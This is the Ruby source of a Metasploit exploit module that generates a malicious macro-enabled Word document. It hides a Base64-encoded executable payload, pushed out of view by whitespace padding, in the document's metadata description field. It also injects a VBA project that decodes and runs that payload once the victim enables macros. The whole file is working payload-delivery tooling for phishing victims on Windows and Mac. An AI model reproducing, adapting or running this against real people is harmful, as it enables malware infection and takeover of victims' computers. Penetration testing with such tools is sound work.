modules/exploits/multi/fileformat/office_word_macro.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Office Word Malicious Macro Execution",
'Description' => %q{
This module injects a malicious macro into a Microsoft Office Word document (docx). The
comments field in the metadata is injected with a Base64 encoded payload, which will be
decoded by the macro and execute as a Windows executable.
For a successful attack, the victim is required to manually enable macro execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r' # Metasploit
],
'References' =>
[
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Targets' =>
[
[
'Microsoft Office Word on Windows',
{
'Platform' => 'win',
}
],
[
'Microsoft Office Word on Mac OS X (Python)',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
]
],
'Privileged' => false,
'DisclosureDate' => '2012-01-10'
))
register_options([
OptPath.new("CUSTOMTEMPLATE", [true, 'A docx file that will be used as a template to build the exploit', File.join(macro_resource_directory, 'template.docx')]),
OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm'])
])
end
def get_file_in_docx(fname)
i = @docx.find_index { |item| item[:fname] == fname }
unless i
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
end
@docx.fetch(i)[:data]
end
def add_content_type_extension(extension, content_type)
if has_content_type_extension?(extension)
update_content_type("Types//Default[@Extension=\"#{extension}\"]", 'ContentType', content_type)
else
xml = get_file_in_docx('[Content_Types].xml')
types_node = xml.at('Types')
unless types_node
fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
end
child_data = "<Default Extension=\"#{extension}\" ContentType=\"#{content_type}\"/>"
types_node.add_child(child_data)
end
end
def has_content_type_extension?(extension)
xml = get_file_in_docx('[Content_Types].xml')
xml.at("Types//Default[@Extension=\"#{extension}\"]") ? true : false
end
def add_content_type_partname(part_name, content_type)
ctype_xml = get_file_in_docx('[Content_Types].xml')
types_node = ctype_xml.at('Types')
unless types_node
fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
end
child_data = "<Override PartName=\"#{part_name}\" ContentType=\"#{content_type}\"/>"
types_node.add_child(child_data)
end
def update_content_type(pattern, attribute, new_value)
ctype_xml = get_file_in_docx('[Content_Types].xml')
doc_xml_ctype_node = ctype_xml.at(pattern)
if doc_xml_ctype_node
doc_xml_ctype_node.attributes[attribute].value = new_value
end
end
def add_rels_relationship(type, target)
rels_xml = get_file_in_docx('_rels/.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
end
last_index = get_last_relationship_index_from_rels
relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
end
def add_doc_relationship(type, target)
rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.')
end
last_index = get_last_relationship_index_from_doc_rels
relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
end
def get_last_relationship_index_from_rels
rels_xml = get_file_in_docx('_rels/.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
end
relationships_node.search('Relationship').collect { |n|
n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
}.max
end
def get_last_relationship_index_from_doc_rels
rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node')
end
relationships_node.search('Relationship').collect { |n|
n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
}.max
end
def inject_macro
add_content_type_extension('bin', 'application/vnd.ms-office.vbaProject')
add_content_type_partname('/word/vbaData.xml', 'application/vnd.ms-word.vbaData+xml')
pattern = 'Override[@PartName="/word/document.xml"]'
attribute_name = 'ContentType'
scheme = 'application/vnd.ms-word.document.macroEnabled.main+xml'
update_content_type(pattern, attribute_name, scheme)
scheme = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject'
fname = 'vbaProject.bin'
add_doc_relationship(scheme, fname)
@docx << { fname: 'word/vbaData.xml', data: get_vbadata_xml }
@docx << { fname: 'word/_rels/vbaProject.bin.rels', data: get_vbaproject_bin_rels}
@docx << { fname: 'word/vbaProject.bin', data: get_vbaproject_bin}
end
def get_vbadata_xml
File.read(File.join(macro_resource_directory, 'vbaData.xml'))
end
def get_vbaproject_bin_rels
File.binread(File.join(macro_resource_directory, 'vbaProject.bin.rels'))
end
def get_vbaproject_bin
File.binread(File.join(macro_resource_directory, 'vbaProject.bin'))
end
def get_core_xml
File.read(File.join(macro_resource_directory, 'core.xml'))
end
def create_core_xml_file
add_content_type_partname('/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml')
add_rels_relationship('http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml')
@docx << { fname: 'docProps/core.xml', data: Nokogiri::XML(get_core_xml) }
end
def inject_payload
p = padding = ' ' * 55
p << Rex::Text.encode_base64(target.name =~ /Python/i ? payload.encoded : generate_payload_exe)
begin
core_xml = get_file_in_docx('docProps/core.xml')
rescue Msf::Exploit::Failed
end
unless core_xml
print_status('Missing docProps/core.xml to inject the payload to. Using the default one.')
create_core_xml_file
core_xml = get_file_in_docx('docProps/core.xml')
end
description_node = core_xml.at('//cp:coreProperties//dc:description')
description_node.content = p
end
def unpack_docx(template_path)
doc = []
Zip::File.open(template_path) do |entries|
entries.each do |entry|
if entry.name.match(/\.xml|\.rels$/i)
content = Nokogiri::XML(entry.get_input_stream.read)
else
content = entry.get_input_stream.read
end
vprint_status("Parsing item from template: #{entry.name}")
doc << { fname: entry.name, data: content }
end
end
doc
end
def pack_docm
@docx.each do |entry|
if entry[:data].kind_of?(Nokogiri::XML::Document)
entry[:data] = entry[:data].to_s
end
end
Msf::Util::EXE.to_zip(@docx)
end
def macro_resource_directory
@macro_resource_directory ||= File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
end
def get_template_path
datastore['CUSTOMTEMPLATE']
end
def exploit
template_path = get_template_path
unless File.extname(template_path).match(/\.docx$/i)
fail_with(Failure::BadConfig, 'Template is not a docx file.')
end
print_status("Using template: #{template_path}")
@docx = unpack_docx(template_path)
print_status('Injecting payload in document comments')
inject_payload
print_status('Injecting macro and other required files in document')
inject_macro
print_status("Finalizing docm: #{datastore['FILENAME']}")
docm = pack_docm
file_create(docm)
end
end